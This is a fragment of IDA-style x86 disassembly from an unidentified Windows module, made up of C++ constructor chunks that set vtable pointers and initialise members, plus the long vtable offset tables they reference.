; START OF FUNCTION CHUNK FOR sub_69B62A37
loc_69B153C0: ; CODE XREF: sub_69B62A37+Dj
push esi
push edi
mov esi, ecx
call sub_69B19118
lea edi, [esi+8]
mov ecx, edi
call sub_69B1818F
push [esp+8+arg_0]
lea eax, [esi+0Ch]
mov dword ptr [esi], offset off_69B18240
mov dword ptr [edi], offset off_69B153F8
and dword ptr [eax], 0
push eax
call sub_69B17320
pop edi
mov eax, esi
pop esi
retn 4
; END OF FUNCTION CHUNK FOR sub_69B62A37
; ---------------------------------------------------------------------------
align 4
off_69B153F8 dd offset sub_69B65C47 ; DATA XREF: sub_69B62A37-4D657o
dd offset sub_69B65C51
dd offset sub_69B65C5B
dd offset sub_69B7624E
dd offset sub_69B76F3B
dd offset sub_69B76F43
dd offset sub_69B76F4B
dd offset sub_69B6860C
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B62A4E
dd offset sub_69B80B30
dd offset sub_69B6860C
dd offset sub_69B6860C
dd offset sub_69B6860C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B655E3
loc_69B15440: ; CODE XREF: sub_69B655E3+Dj
push esi
mov esi, ecx
call sub_69B65445
push [esp+4+arg_0]
mov dword ptr [esi], offset off_69B154D8
mov dword ptr [esi+8], offset off_69B15478
and dword ptr [esi+10h], 0
lea ecx, [esi+20h]
mov byte ptr [esi+14h], 0
call sub_69B1E084
mov byte ptr [esi+14h], 1
mov eax, esi
pop esi
retn 4
; END OF FUNCTION CHUNK FOR sub_69B655E3
; ---------------------------------------------------------------------------
align 8
off_69B15478 dd offset sub_69B65C47 ; DATA XREF: sub_69B655E3-50191o
dd offset sub_69B65C51
dd offset sub_69B65C5B
dd offset sub_69B65531
dd offset sub_69B76F3B
dd offset sub_69B76F43
dd offset sub_69B76F4B
dd offset sub_69B65539
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B65480
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B655DE
dd offset sub_69B698CB
dd offset sub_69B2E804
dd offset sub_69B65420
dd offset sub_69B6860C
dd offset sub_69B6C7E4
dd offset sub_69B65510
dd offset sub_69B65596
dd offset sub_69B654B0
dd offset sub_69B65541
dd offset sub_69B6C809
off_69B154D8 dd offset sub_69B6547B ; DATA XREF: sub_69B655E3-50197o
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B655FA
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B65410
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B6C84F
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B6558A
dd offset sub_69B654C0
dd offset sub_69B654EC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B6589E
loc_69B15518: ; CODE XREF: sub_69B6589E+Dj
push esi
mov esi, ecx
call sub_69B65445
push [esp+4+arg_0]
lea ecx, [esi+10h]
mov dword ptr [esi], offset off_69B155A8
mov dword ptr [esi+8], offset off_69B15548
call sub_69B1E084
mov eax, [esp+4+arg_4]
mov [esi+14h], eax
mov eax, esi
pop esi
retn 8
; END OF FUNCTION CHUNK FOR sub_69B6589E
; ---------------------------------------------------------------------------
align 4
off_69B15548 dd offset sub_69B65C47 ; DATA XREF: sub_69B6589E-50371o
dd offset sub_69B65C51
dd offset sub_69B65C5B
dd offset sub_69B6DD7B
dd offset sub_69B76F3B
dd offset sub_69B76F43
dd offset sub_69B76F4B
dd offset sub_69B65694
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B65480
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B67765
dd offset sub_69B698CB
dd offset sub_69B73462
dd offset sub_69B6C7A5
dd offset sub_69B6860C
dd offset sub_69B6C7E4
dd offset sub_69B65699
dd offset sub_69B6576C
dd offset sub_69B656A8
dd offset sub_69B656F5
dd offset sub_69B6C809
off_69B155A8 dd offset sub_69B6547B ; DATA XREF: sub_69B6589E-50377o
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B65878
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B65683
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B6C84F
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B65760
dd offset sub_69B667EC
dd offset sub_69B657C0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B67706
loc_69B155E8: ; CODE XREF: sub_69B67706+Dj
push esi
mov esi, ecx
call sub_69B65445
push [esp+4+arg_0]
mov ecx, [esp+8+arg_4]
lea eax, [esi+14h]
mov dword ptr [esi], offset off_69B15680
mov dword ptr [esi+8], offset off_69B15620
and dword ptr [eax], 0
push eax
mov [esi+10h], ecx
call sub_69B17320
mov eax, esi
pop esi
retn 8
; END OF FUNCTION CHUNK FOR sub_69B67706
; ---------------------------------------------------------------------------
align 10h
off_69B15620 dd offset sub_69B65C47 ; DATA XREF: sub_69B67706-52105o
dd offset sub_69B65C51
dd offset sub_69B65C5B
dd offset sub_69B667FD
dd offset sub_69B76F3B
dd offset sub_69B76F43
dd offset sub_69B76F4B
dd offset sub_69B66805
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B65480
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B676D8
dd offset sub_69B698CB
dd offset sub_69B667F2
dd offset sub_69B6C7A5
dd offset sub_69B6860C
dd offset sub_69B6C7E4
dd offset sub_69B667E0
dd offset sub_69B6576C
dd offset sub_69B6699A
dd offset sub_69B6C906
dd offset sub_69B6C809
off_69B15680 dd offset sub_69B6547B ; DATA XREF: sub_69B67706-5210Bo
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B676E0
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B667CB
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B6C84F
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B6680A
dd offset sub_69B667EC
dd offset sub_69B673B0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B6776D
loc_69B156C0: ; CODE XREF: sub_69B6776D+Dj
push esi
mov esi, ecx
call sub_69B65445
push [esp+4+arg_0]
lea ecx, [esi+10h]
mov dword ptr [esi], offset off_69B15748
mov dword ptr [esi+8], offset off_69B156E8
call sub_69B1E084
mov eax, esi
pop esi
retn 4
; END OF FUNCTION CHUNK FOR sub_69B6776D
; ---------------------------------------------------------------------------
align 4
off_69B156E8 dd offset sub_69B65C47 ; DATA XREF: sub_69B6776D-52098o
dd offset sub_69B65C51
dd offset sub_69B65C5B
dd offset sub_69B6DD7B
dd offset sub_69B76F3B
dd offset sub_69B76F43
dd offset sub_69B76F4B
dd offset sub_69B67760
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B65480
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B67765
dd offset sub_69B698CB
dd offset sub_69B69DD8
dd offset sub_69B6C7A5
dd offset sub_69B6860C
dd offset sub_69B6C7E4
dd offset sub_69B6772C
dd offset sub_69B67734
dd offset sub_69B69DE9
dd offset sub_69B6C906
dd offset sub_69B6C809
off_69B15748 dd offset sub_69B6547B ; DATA XREF: sub_69B6776D-5209Eo
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B65878
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B6771D
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B6C84F
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B65760
dd offset sub_69B67752
dd offset sub_69B67758
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B69D37
loc_69B15788: ; CODE XREF: sub_69B69D37+Dj
push esi
mov esi, ecx
call sub_69B65445
push [esp+4+arg_4]
lea ecx, [esi+10h]
mov dword ptr [esi], offset off_69B15828
mov dword ptr [esi+8], offset off_69B157C8
call sub_69B1E084
push [esp+4+arg_8]
lea ecx, [esi+14h]
call sub_69B1E084
mov eax, [esp+4+arg_0]
mov [esi+18h], eax
mov eax, esi
pop esi
retn 0Ch
; END OF FUNCTION CHUNK FOR sub_69B69D37
; ---------------------------------------------------------------------------
align 8
off_69B157C8 dd offset sub_69B65C47 ; DATA XREF: sub_69B69D37-5459Ao
dd offset sub_69B65C51
dd offset sub_69B65C5B
dd offset sub_69B69DDC
dd offset sub_69B76F3B
dd offset sub_69B76F43
dd offset sub_69B76F4B
dd offset sub_69B69C68
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B65480
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B69E13
dd offset sub_69B698CB
dd offset sub_69B69C64
dd offset sub_69B6C7A5
dd offset sub_69B6860C
dd offset sub_69B6C7E4
dd offset sub_69B69BE4
dd offset sub_69B69C70
dd offset sub_69B69CBF
dd offset sub_69B6C906
dd offset sub_69B6C809
off_69B15828 dd offset sub_69B6547B ; DATA XREF: sub_69B69D37-545A0o
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B69E1B
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B69BD3
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B6C84F
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B69ED4
dd offset sub_69B69C05
dd offset sub_69B69C41
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B69E36
loc_69B15868: ; CODE XREF: sub_69B69E36+Dj
push esi
mov esi, ecx
call sub_69B65445
push [esp+4+arg_4]
lea ecx, [esi+10h]
mov dword ptr [esi], offset off_69B15908
mov dword ptr [esi+8], offset off_69B158A8
call sub_69B1E084
push [esp+4+arg_8]
lea ecx, [esi+14h]
call sub_69B1E084
mov eax, [esp+4+arg_0]
mov [esi+18h], eax
mov eax, esi
pop esi
retn 0Ch
; END OF FUNCTION CHUNK FOR sub_69B69E36
; ---------------------------------------------------------------------------
align 8
off_69B158A8 dd offset sub_69B65C47 ; DATA XREF: sub_69B69E36-545B9o
dd offset sub_69B65C51
dd offset sub_69B65C5B
dd offset sub_69B69DDC
dd offset sub_69B76F3B
dd offset sub_69B76F43
dd offset sub_69B76F4B
dd offset sub_69B69DE1
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B65480
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B69E13
dd offset sub_69B698CB
dd offset sub_69B69DD8
dd offset sub_69B6C7A5
dd offset sub_69B6860C
dd offset sub_69B6C7E4
dd offset sub_69B69F7C
dd offset sub_69B69D5C
dd offset sub_69B69DE9
dd offset sub_69B6C906
dd offset sub_69B6C809
off_69B15908 dd offset sub_69B6547B ; DATA XREF: sub_69B69E36-545BFo
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B69E1B
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B69D4E
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B6C84F
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B69ED4
dd offset sub_69B69D7E
dd offset sub_69B69DBC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B69F0C
loc_69B15948: ; CODE XREF: sub_69B69F0C+Dj
push esi
mov esi, ecx
call sub_69B65445
push [esp+4+arg_0]
lea ecx, [esi+10h]
mov dword ptr [esi], offset off_69B159E0
mov dword ptr [esi+8], offset off_69B15980
call sub_69B1E084
push [esp+4+arg_4]
lea ecx, [esi+14h]
call sub_69B1E084
mov eax, esi
pop esi
retn 8
; END OF FUNCTION CHUNK FOR sub_69B69F0C
; ---------------------------------------------------------------------------
align 10h
off_69B15980 dd offset sub_69B65C47 ; DATA XREF: sub_69B69F0C-545AFo
dd offset sub_69B65C51
dd offset sub_69B65C5B
dd offset sub_69B69DDC
dd offset sub_69B76F3B
dd offset sub_69B76F43
dd offset sub_69B76F4B
dd offset sub_69B69EA8
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B65480
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B69E13
dd offset sub_69B698CB
dd offset sub_69B69DD8
dd offset sub_69B6C7A5
dd offset sub_69B6860C
dd offset sub_69B6C7E4
dd offset sub_69B69EAD
dd offset sub_69B69E5C
dd offset sub_69B69DE9
dd offset sub_69B6C906
dd offset sub_69B6C809
off_69B159E0 dd offset sub_69B6547B ; DATA XREF: sub_69B69F0C-545B5o
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B69E1B
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B69E4D
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B6C84F
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B69ED4
dd offset sub_69B69EA2
dd offset sub_69B69DBC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B69FA2
loc_69B15A20: ; CODE XREF: sub_69B69FA2+Dj
push esi
mov esi, ecx
call sub_69B65445
push [esp+4+arg_0]
lea ecx, [esi+10h]
mov dword ptr [esi], offset off_69B15AB8
mov dword ptr [esi+8], offset off_69B15A58
call sub_69B1E084
push [esp+4+arg_4]
lea ecx, [esi+14h]
call sub_69B1E084
mov eax, esi
pop esi
retn 8
; END OF FUNCTION CHUNK FOR sub_69B69FA2
; ---------------------------------------------------------------------------
align 8
off_69B15A58 dd offset sub_69B65C47 ; DATA XREF: sub_69B69FA2-5456Do
dd offset sub_69B65C51
dd offset sub_69B65C5B
dd offset sub_69B69DDC
dd offset sub_69B76F3B
dd offset sub_69B76F43
dd offset sub_69B76F4B
dd offset sub_69B69F9D
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B65480
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B69E13
dd offset sub_69B698CB
dd offset sub_69B69DD8
dd offset sub_69B6C7A5
dd offset sub_69B6860C
dd offset sub_69B6C7E4
dd offset sub_69B69F7C
dd offset sub_69B69F34
dd offset sub_69B69DE9
dd offset sub_69B6C906
dd offset sub_69B6C809
off_69B15AB8 dd offset sub_69B6547B ; DATA XREF: sub_69B69FA2-54573o
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B69E1B
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B69F23
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B6C84F
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B69ED4
dd offset sub_69B69F97
dd offset sub_69B69DBC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B6A147
loc_69B15AF8: ; CODE XREF: sub_69B6A147+Dj
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_69B6A0FC
mov dword ptr [esi], offset off_69B15B1C
mov dword ptr [esi+4], offset off_69B280B8
and dword ptr [esi+14h], 0
mov eax, esi
pop esi
retn 4
; END OF FUNCTION CHUNK FOR sub_69B6A147
; ---------------------------------------------------------------------------
align 4
off_69B15B1C dd offset sub_69B45BAF ; DATA XREF: sub_69B6A147-54643o
dd offset sub_69B18E45
dd offset sub_69B19029
dd offset sub_69B6A15E
dd offset sub_69B6A1FC
dd offset sub_69B6A2A4
dd offset sub_69B6A34C
dd offset sub_69B6A404
dd offset sub_69B6A4A4
dd offset sub_69B6A53C
dd offset sub_69B6A5E4
dd offset sub_69B69FED
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B6A9B8
loc_69B15B4C: ; CODE XREF: sub_69B6A9B8+Dj
push esi
push edi
mov esi, ecx
call sub_69B65445
push [esp+8+arg_0]
lea eax, [esi+14h]
mov dword ptr [esi], offset off_69B15BF0
mov dword ptr [esi+8], offset off_69B15B90
lea edi, [esi+10h]
and dword ptr [edi], 0
and dword ptr [eax], 0
push eax
call sub_69B17320
push [esp+8+arg_4]
push edi
call sub_69B17320
pop edi
mov eax, esi
pop esi
retn 8
; END OF FUNCTION CHUNK FOR sub_69B6A9B8
; ---------------------------------------------------------------------------
align 10h
off_69B15B90 dd offset sub_69B65C47 ; DATA XREF: sub_69B6A9B8-54E56o
dd offset sub_69B65C51
dd offset sub_69B65C5B
dd offset sub_69B69DDC
dd offset sub_69B76F3B
dd offset sub_69B76F43
dd offset sub_69B76F4B
dd offset sub_69B6A7CC
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B65480
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B6A9B0
dd offset sub_69B698CB
dd offset sub_69B6860C
dd offset sub_69B6C7A5
dd offset sub_69B6860C
dd offset sub_69B6C7E4
dd offset sub_69B6A7B0
dd offset sub_69B6A8EF
dd offset sub_69B6A8E7
dd offset sub_69B6A944
dd offset sub_69B6C809
off_69B15BF0 dd offset sub_69B6547B ; DATA XREF: sub_69B6A9B8-54E5Co
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B69E1B
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B6A7A0
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B6C84F
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B6A7D1
dd offset sub_69B6860C
dd offset nullsub_3
; =============== S U B R O U T I N E =======================================
sub_69B15C30 proc near ; CODE XREF: sub_69B6C788+Dj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov esi, ecx
call sub_69B65445
push [esp+0Ch+arg_0]
mov eax, [esp+10h+arg_4]
mov dword ptr [esi], offset off_69B15CE8
mov dword ptr [esi+8], offset off_69B15C88
lea ebx, [esi+14h]
and dword ptr [ebx], 0
lea edi, [esi+18h]
and dword ptr [edi], 0
push edi
mov [esi+10h], eax
call sub_69B17320
mov edi, [edi]
test edi, edi
jz short loc_69B15C74
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+44h]
push eax
jmp short loc_69B15C76
; ---------------------------------------------------------------------------
loc_69B15C74: ; CODE XREF: sub_69B15C30+38j
push 0
loc_69B15C76: ; CODE XREF: sub_69B15C30+42j
push ebx
call sub_69B17320
pop edi
mov eax, esi
pop esi
pop ebx
retn 8
sub_69B15C30 endp
; ---------------------------------------------------------------------------
align 8
off_69B15C88 dd offset sub_69B65C47 ; DATA XREF: sub_69B15C30+18o
dd offset sub_69B65C51
dd offset sub_69B65C5B
dd offset sub_69B6C1E9
dd offset sub_69B76F3B
dd offset sub_69B76F43
dd offset sub_69B76F4B
dd offset loc_69B6C1F1
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B65480
dd offset sub_69B2F559
dd offset nullsub_5
dd offset loc_69B6C748
dd offset sub_69B698CB
dd offset sub_69B6C1DE
dd offset sub_69B6C7A5
dd offset sub_69B6860C
dd offset sub_69B6C7E4
dd offset sub_69B6C1B8
dd offset loc_69B6C217
dd offset loc_69B6C27C
dd offset sub_69B6C906
dd offset sub_69B6C809
off_69B15CE8 dd offset sub_69B6547B ; DATA XREF: sub_69B15C30+12o
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset loc_69B6C750
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B6C1A8
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B6C84F
dd offset sub_69B2F559
dd offset nullsub_5
dd offset loc_69B6C1F6
dd offset sub_69B667EC
dd offset loc_69B6C5AC
; =============== S U B R O U T I N E =======================================
sub_69B15D28 proc near ; CODE XREF: sub_69B71074+85p
push esi
mov esi, ecx
call sub_69B19118
mov dword ptr [esi], offset off_69B15D40
mov eax, esi
pop esi
retn
sub_69B15D28 endp
; ---------------------------------------------------------------------------
align 10h
off_69B15D40 dd offset sub_69B2D67E ; DATA XREF: sub_69B15D28+8o
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B18284
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B2D632
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset nullsub_5
dd offset sub_69B3CAC8
dd offset sub_69B708A5
; =============== S U B R O U T I N E =======================================
sub_69B15D80 proc near ; CODE XREF: sub_69B70C4B+11p
arg_0 = dword ptr 4
push ebx
push esi
push edi
mov esi, ecx
call sub_69B70956
mov dword ptr [esi], offset off_69B15FF4
mov dword ptr [esi+4], offset off_69B15FF0
mov dword ptr [esi+10h], offset off_69B15FE0
mov dword ptr [esi+14h], offset off_69B15FC4
mov dword ptr [esi+18h], offset off_69B15FAC
lea edi, [esi+1Ch]
and dword ptr [edi], 0
and dword ptr [esi+20h], 0
lea ebx, [esi+24h]
mov ecx, ebx
call sub_69B73FD6
push [esp+0Ch+arg_0]
mov dword ptr [ebx], offset off_69B15DD8
push edi
call sub_69B2DEB2
pop edi
mov eax, esi
pop esi
pop ebx
retn 4
sub_69B15D80 endp
; ---------------------------------------------------------------------------
off_69B15DD8 dd offset loc_69B73862 ; DATA XREF: sub_69B15D80+44o
dd offset sub_69B707DC
dd offset sub_69B707F1
dd offset sub_69B84A3B
dd offset sub_69B84A4B
dd offset sub_69B365EB
dd offset sub_69B84A23
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B365E3
dd offset sub_69B84A3B
dd offset sub_69B365E3
dd offset sub_69B84A3B
dd offset sub_69B365E3
dd offset sub_69B84A3B
dd offset sub_69B365E3
dd offset sub_69B84A3B
dd offset sub_69B365E3
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B738F1
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A2B
dd offset sub_69B365F3
dd offset sub_69B365F3
dd offset sub_69B84A43
dd offset sub_69B84A43
dd offset sub_69B84A43
dd offset sub_69B84A43
dd offset sub_69B84A43
dd offset sub_69B84A43
dd offset sub_69B84A33
dd offset sub_69B84A43
dd offset sub_69B84A43
dd offset sub_69B365E3
dd offset sub_69B84A3B
dd offset sub_69B365E3
dd offset sub_69B84A3B
dd offset sub_69B365E3
dd offset sub_69B84A3B
dd offset sub_69B365E3
dd offset sub_69B84A3B
dd offset sub_69B365E3
dd offset sub_69B84A3B
dd offset sub_69B365E3
dd offset sub_69B84A3B
dd offset sub_69B365E3
dd offset sub_69B84A3B
dd offset sub_69B365E3
dd offset sub_69B84A3B
dd offset sub_69B365E3
dd offset sub_69B84A3B
dd offset sub_69B365E3
dd offset sub_69B84A3B
dd offset sub_69B365E3
dd offset sub_69B84A3B
dd offset sub_69B365E3
dd offset sub_69B84A3B
dd offset sub_69B365E3
dd offset sub_69B84A3B
dd offset sub_69B365E3
dd offset sub_69B84A3B
dd offset sub_69B365E3
dd offset sub_69B84A3B
dd offset sub_69B365E3
dd offset sub_69B84A3B
dd offset sub_69B365E3
dd offset sub_69B84A3B
dd offset sub_69B84A4B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B365E3
dd offset sub_69B84A3B
dd offset sub_69B365E3
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A4B
dd offset sub_69B70806
off_69B15FAC dd offset loc_69B70994 ; DATA XREF: sub_69B15D80+25o
dd offset loc_69B709C6
dd offset loc_69B709D0
dd offset sub_69B73F00
dd offset sub_69B365EB
dd offset sub_69B365EB
off_69B15FC4 dd offset loc_69B7098A ; DATA XREF: sub_69B15D80+1Eo
dd offset loc_69B709B2
dd offset loc_69B709BC
dd offset sub_69B365E3
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B73829
off_69B15FE0 dd offset loc_69B70980 ; DATA XREF: sub_69B15D80+17o
dd offset sub_69B7099E
dd offset sub_69B709A8
dd offset loc_69B73CE5
off_69B15FF0 dd offset sub_69B70C6E ; DATA XREF: sub_69B15D80+10o
off_69B15FF4 dd offset sub_69B739EC ; DATA XREF: sub_69B15D80+Ao
dd offset sub_69B18E45
dd offset sub_69B19029
dd offset sub_69B73818
dd offset sub_69B73929
dd offset sub_69B84A3B
dd offset sub_69B82AF4
dd offset sub_69B55F23
dd offset sub_69B73A84
dd offset sub_69B8CB95
dd offset sub_69B8CB95
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B71AFF
loc_69B16020: ; CODE XREF: sub_69B71AFF+Dj
push esi
push edi
mov esi, ecx
call sub_69B18654
push [esp+8+arg_0]
xor ecx, ecx
mov dword ptr [esi], offset off_69B16060
lea edi, [esi+0Ch]
mov [edi], ecx
mov [esi+10h], ecx
lea eax, [esi+20h]
mov [esi+14h], ecx
mov [esi+18h], ecx
push eax
mov [eax], ecx
call sub_69B17320
push [esp+8+arg_4]
push edi
call sub_69B2DEB2
pop edi
mov eax, esi
pop esi
retn 8
; END OF FUNCTION CHUNK FOR sub_69B71AFF
; ---------------------------------------------------------------------------
align 10h
off_69B16060 dd offset sub_69B2D67E ; DATA XREF: sub_69B71AFF-5BAD0o
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B71AAC
dd offset sub_69B1B57D
dd offset sub_69B1BF60
dd offset sub_69B186A8
dd offset sub_69B2D6C8
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B71719
; =============== S U B R O U T I N E =======================================
sub_69B16098 proc near ; CODE XREF: sub_69B7372C+Dj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
push edi
xor ebx, ebx
push ebx
push ebx
push ebx
mov esi, ecx
call sub_69B724DF
lea edi, [esi+2Ch]
mov ecx, edi
call sub_69B1818F
push [esp+0Ch+arg_0]
mov dword ptr [esi], offset off_69B16138
mov dword ptr [edi], offset off_69B160F0
lea eax, [esi+30h]
mov [eax], ebx
mov [esi+34h], ebx
mov [esi+40h], ebx
push eax
mov [esi+48h], ebx
call sub_69B17320
mov eax, [esp+0Ch+arg_4]
or dword ptr [esi+38h], 0FFFFFFFFh
mov [esi+44h], eax
mov eax, [esp+0Ch+arg_8]
mov [esi+3Ch], eax
pop edi
mov eax, esi
pop esi
pop ebx
retn 0Ch
sub_69B16098 endp
; ---------------------------------------------------------------------------
align 10h
off_69B160F0 dd offset loc_69B73466 ; DATA XREF: sub_69B16098+23o
dd offset loc_69B73470
dd offset loc_69B7347A
dd offset loc_69B73484
dd offset sub_69B3F4E7
dd offset sub_69B3F4EF
dd offset sub_69B3F4F7
dd offset sub_69B6860C
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B736CA
dd offset sub_69B80B30
dd offset sub_69B7348C
dd offset sub_69B73439
dd offset sub_69B73462
off_69B16138 dd offset sub_69B6547B ; DATA XREF: sub_69B16098+1Do
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B736D2
dd offset sub_69B1B57D
dd offset sub_69B1BF60
dd offset sub_69B186A8
dd offset sub_69B72310
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B7254A
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B73502
dd offset sub_69B73395
dd offset sub_69B72DBF
dd offset sub_69B59D1C
dd offset sub_69B7235C
dd offset sub_69B6860C
dd offset sub_69B72CC3
dd offset nullsub_3
dd offset sub_69B70398
dd offset sub_69B72E2D
dd offset sub_69B73539
; =============== S U B R O U T I N E =======================================
sub_69B16198 proc near ; CODE XREF: sub_69B7432D+Dj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov ebx, ecx
call sub_69B19118
xor ecx, ecx
mov dword ptr [ebx], offset off_69B161EC
mov [ebx+8], ecx
lea eax, [ebx+14h]
mov [ebx+0Ch], ecx
push eax
push [esp+10h+arg_0]
mov [ebx+10h], ecx
mov [eax], ecx
mov [ebx+18h], ecx
call sub_69B70C4B
mov esi, [esp+0Ch+arg_4]
push [esp+0Ch+arg_0]
lea edi, [ebx+1Ch]
movsd
movsd
movsd
lea eax, [ebx+18h]
push eax
movsd
call sub_69B2DEB2
mov ecx, ebx
call sub_69B740BF
pop edi
pop esi
mov eax, ebx
pop ebx
retn 8
sub_69B16198 endp
; ---------------------------------------------------------------------------
